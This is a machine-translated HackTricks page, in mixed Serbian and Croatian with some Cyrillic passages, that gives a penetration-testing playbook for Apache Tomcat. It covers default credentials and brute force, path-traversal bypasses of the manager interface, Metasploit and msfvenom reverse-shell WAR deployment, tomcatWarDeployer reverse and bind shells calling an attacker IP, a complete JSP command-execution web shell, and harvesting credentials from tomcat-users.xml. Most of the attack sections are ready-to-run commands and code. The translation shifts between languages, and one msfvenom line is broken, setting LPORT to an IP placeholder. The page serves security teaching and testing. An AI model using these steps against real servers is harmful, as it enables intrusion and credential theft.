mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
269 lines
15 KiB
Markdown
269 lines
15 KiB
Markdown
# Tomcat
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje pretnji, pronalazi probleme u celokupnom tehnološkom sklopu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## Otkrivanje
|
||
|
||
* Obično se pokreće na **portu 8080**
|
||
* **Uobičajena Tomcat greška:**
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## Enumeracija
|
||
|
||
### **Identifikacija verzije**
|
||
Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:
|
||
```bash
|
||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||
```
|
||
Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u oznaci naslova HTML odgovora.
|
||
|
||
### **Lokacija datoteka upravitelja**
|
||
Identifikacija tačnih lokacija direktorijuma **`/manager`** i **`/host-manager`** je ključna jer se njihova imena mogu promeniti. Preporučuje se pretraga metodom brute-force kako bi se pronašle ove stranice.
|
||
|
||
### **Enumeracija korisničkih imena**
|
||
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:
|
||
```bash
|
||
msf> use auxiliary/scanner/http/tomcat_enum
|
||
```
|
||
### **Podrazumevane akreditacije**
|
||
Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajene akreditacije su:
|
||
- admin:admin
|
||
- tomcat:tomcat
|
||
- admin:<NIŠTA>
|
||
- admin:s3cr3t
|
||
- tomcat:s3cr3t
|
||
- admin:tomcat
|
||
|
||
Ove akreditacije se mogu testirati korišćenjem:
|
||
```bash
|
||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||
```
|
||
Još jedan značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, što pomaže u identifikaciji ranjivosti.
|
||
|
||
### **Napad brute force**
|
||
Da biste pokušali napad brute force na direktorijum manager, možete koristiti:
|
||
```bash
|
||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||
```
|
||
## Uz podešavanje različitih parametara u Metasploitu za ciljanje određenog hosta.
|
||
|
||
## Uobičajene ranjivosti
|
||
|
||
### **Otkrivanje lozinke u tragovima unazad**
|
||
Pristup `/auth.jsp` može otkriti lozinku u tragovima unazad u povoljnim okolnostima.
|
||
|
||
### **Dvostruko kodiranje URL-a**
|
||
Ranjivost CVE-2007-1860 u `mod_jk` omogućava dvostruko kodiranje URL-a za prolazak putem putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreiranog URL-a.
|
||
|
||
Da biste pristupili upravljačkom vebu Tomcat-a, idite na: `pathTomcat/%252E%252E/manager/html`
|
||
|
||
### /examples
|
||
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koje su podložne otkrivanju informacija i napadima preko skripti sa ugrađenim skriptama (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti radi neovlašćenog pristupa i potencijalne zloupotrebe. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||
|
||
* /examples/jsp/num/numguess.jsp
|
||
* /examples/jsp/dates/date.jsp
|
||
* /examples/jsp/snp/snoop.jsp
|
||
* /examples/jsp/error/error.html
|
||
* /examples/jsp/sessions/carts.html
|
||
* /examples/jsp/checkbox/check.html
|
||
* /examples/jsp/colors/colors.html
|
||
* /examples/jsp/cal/login.html
|
||
* /examples/jsp/include/include.jsp
|
||
* /examples/jsp/forward/forward.jsp
|
||
* /examples/jsp/plugin/plugin.jsp
|
||
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
||
* /examples/jsp/simpletag/foo.jsp
|
||
* /examples/jsp/mail/sendmail.jsp
|
||
* /examples/servlet/HelloWorldExample
|
||
* /examples/servlet/RequestInfoExample
|
||
* /examples/servlet/RequestHeaderExample
|
||
* /examples/servlet/RequestParamExample
|
||
* /examples/servlet/CookieExample
|
||
* /examples/servlet/JndiServlet
|
||
* /examples/servlet/SessionExample
|
||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||
|
||
### **Exploit putanje prolaska**
|
||
U nekim [**ranjivim konfiguracijama Tomcat-a**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: `/..;/`
|
||
|
||
Na primer, možda ćete moći **pristupiti stranici upravljača Tomcat-a** pristupanjem: `www.vulnerable.com/lalala/..;/manager/html`
|
||
|
||
**Još jedan način** za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup `http://www.vulnerable.com/;param=value/manager/html`
|
||
|
||
|
||
## RCE (Izvršenje udaljenog koda)
|
||
|
||
Na kraju, ako imate pristup Tomcat Web Application Manageru, možete **otpakovati i implementirati .war datoteku (izvršiti kod)**.
|
||
|
||
### Ograničenja
|
||
|
||
Moći ćete implementirati WAR samo ako imate **dovoljno privilegija** (uloge: **admin**, **manager** i **manager-script**). Detalji se mogu pronaći u datoteci _tomcat-users.xml_, obično definisanoj u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](tomcat.md#post)sekciju).
|
||
```bash
|
||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||
|
||
# deploy under "path" context path
|
||
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
||
|
||
# undeploy
|
||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||
```
|
||
### Metasploit
|
||
|
||
Metasploit je popularan alat za testiranje penetracije koji se često koristi za iskorišćavanje ranjivosti u mrežnim servisima. Ovaj alat pruža širok spektar modula i eksploita koji omogućavaju hakerima da izvrše napade na ciljane sisteme. Metasploit takođe pruža mogućnost izrade i prilagođavanja sopstvenih modula za napade.
|
||
|
||
Da biste koristili Metasploit, prvo morate da instalirate Metasploit Framework na vašem računaru. Nakon instalacije, možete koristiti Metasploit komandnu liniju ili grafički korisnički interfejs (GUI) za izvršavanje napada.
|
||
|
||
Metasploit ima veliku bazu podataka ranjivosti i eksploita, koja se redovno ažurira. Ova baza podataka omogućava hakerima da brzo pronađu i iskoriste ranjivosti u ciljanim sistemima. Metasploit takođe podržava automatizaciju napada, što olakšava izvršavanje napada u velikom obimu.
|
||
|
||
Kada koristite Metasploit, važno je da imate dozvolu za testiranje penetracije na ciljanim sistemima. Neovlašćeno korišćenje Metasploita može biti ilegalno i podleže zakonskim sankcijama. Uvek se pridržavajte etičkih smernica i zakona prilikom korišćenja ovog alata.
|
||
```bash
|
||
use exploit/multi/http/tomcat_mgr_upload
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||
```
|
||
### MSFVenom Reverse Shell
|
||
|
||
1. Kreirajte war datoteku za implementaciju:
|
||
```bash
|
||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||
```
|
||
2. Отпремите `revshell.war` датотеку и приступите јој (`/revshell/`):
|
||
|
||
### Везивање и реверзни шел са [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||
|
||
У неким сценаријима ово не функционише (на пример, старе верзије sun)
|
||
|
||
#### Преузимање
|
||
```bash
|
||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||
```
|
||
#### Obrnuti shell
|
||
|
||
Obrnuti shell je tehnika koja omogućava hakeru da preuzme kontrolu nad udaljenim računarom putem mreže. Ova tehnika se često koristi tokom testiranja penetracije kako bi se dobila daljinska kontrola nad ciljnim sistemom.
|
||
|
||
Da biste uspostavili obrnuti shell, prvo morate postaviti "slušajući" server na vašem računaru. Zatim, na ciljnom računaru, morate pokrenuti "shell" koji će se povezati sa vašim serverom. Kada se veza uspostavi, možete izvršavati komande na ciljnom računaru kao da ste fizički prisutni na njemu.
|
||
|
||
Obrnuti shell može biti veoma koristan tokom testiranja penetracije, jer vam omogućava da istražujete i manipulišete ciljnim sistemom sa udaljene lokacije. Međutim, važno je napomenuti da je upotreba obrnutog šela bez dozvole vlasnika sistema ilegalna i može imati ozbiljne pravne posledice.
|
||
```bash
|
||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||
```
|
||
#### Bind shell
|
||
|
||
Bind shell (Veza na čekanju) je vrsta udaljenog pristupa koja omogućava napadaču da uspostavi vezu sa ciljnim računarom i preuzme kontrolu nad njim. Kada se bind shell aktivira na ciljnom računaru, on čeka na dolaznu vezu od napadača. Kada se veza uspostavi, napadač može izvršavati komande na ciljnom računaru i pristupiti njegovim resursima.
|
||
|
||
Da bi se uspostavila bind shell veza, napadač mora imati pristup ciljnom računaru i instalirati bind shell program na njemu. Ovaj program sluša na određenom portu i čeka na dolazne veze. Kada napadač uspostavi vezu sa ciljnim računarom, on postaje aktivna sesija koju napadač može koristiti za izvršavanje komandi i manipulaciju ciljnim računarom.
|
||
|
||
Bind shell je često korišćen u napadima na web servere, kao što je Apache Tomcat. Napadač može iskoristiti ranjivost u Tomcatu da bi instalirao bind shell program na serveru i preuzeo kontrolu nad njim. Ovo mu omogućava da izvršava komande na serveru, pristupa fajlovima i bazama podataka, i izvršava druge zlonamerne aktivnosti.
|
||
|
||
Kada se koristi bind shell, važno je da napadač bude oprezan i ne ostavi tragove na ciljnom računaru. Takođe, ciljani sistem može biti zaštićen firewall-om ili drugim sigurnosnim mehanizmima koji mogu blokirati dolazne veze na određenim portovima. Napadač mora biti svestan ovih ograničenja i prilagoditi svoje metode napada kako bi ih zaobišao.
|
||
```bash
|
||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||
```
|
||
### Korišćenje [Culsterd](https://github.com/hatRiot/clusterd)
|
||
```bash
|
||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||
```
|
||
### Ručna metoda - Web shell
|
||
|
||
Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||
```java
|
||
<FORM METHOD=GET ACTION='index.jsp'>
|
||
<INPUT name='cmd' type=text>
|
||
<INPUT type=submit value='Run'>
|
||
</FORM>
|
||
<%@ page import="java.io.*" %>
|
||
<%
|
||
String cmd = request.getParameter("cmd");
|
||
String output = "";
|
||
if(cmd != null) {
|
||
String s = null;
|
||
try {
|
||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||
BufferedReader sI = new BufferedReader(new
|
||
InputStreamReader(p.getInputStream()));
|
||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||
} catch(IOException e) { e.printStackTrace(); }
|
||
}
|
||
%>
|
||
<pre><%=output %></pre>
|
||
```
|
||
|
||
```bash
|
||
mkdir webshell
|
||
cp index.jsp webshell
|
||
cd webshell
|
||
jar -cvf ../webshell.war *
|
||
webshell.war is created
|
||
# Upload it
|
||
```
|
||
Takođe možete instalirati ovo (omogućava otpremanje, preuzimanje i izvršavanje komandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||
|
||
### Ručna metoda 2
|
||
|
||
Preuzmite JSP web shell kao što je [ovaj](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
|
||
```bash
|
||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||
zip -r backup.war cmd.jsp
|
||
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||
```
|
||
## POST
|
||
|
||
Ime datoteke sa Tomcat akreditacijama je _tomcat-users.xml_
|
||
```bash
|
||
find / -name tomcat-users.xml 2>/dev/null
|
||
```
|
||
Drugi načini za prikupljanje Tomcat akreditacija:
|
||
```bash
|
||
msf> use post/multi/gather/tomcat_gather
|
||
msf> use post/windows/gather/enum_tomcat
|
||
```
|
||
## Ostali alati za skeniranje Tomcat-a
|
||
|
||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||
|
||
## Reference
|
||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||
|
||
|
||
<details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje prijetnji, pronalazi probleme u cijelom vašem tehnološkom sklopu, od API-ja do web aplikacija i oblak sustava. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<summary><strong>Naučite hakiranje AWS-a od nule do heroja s</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Radite li u **cybersecurity tvrtki**? Želite li vidjeti **oglašavanje svoje tvrtke na HackTricks-u**? Ili želite imati pristup **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF-u**? Provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* Nabavite [**službeni PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podijelite svoje hakirajuće trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|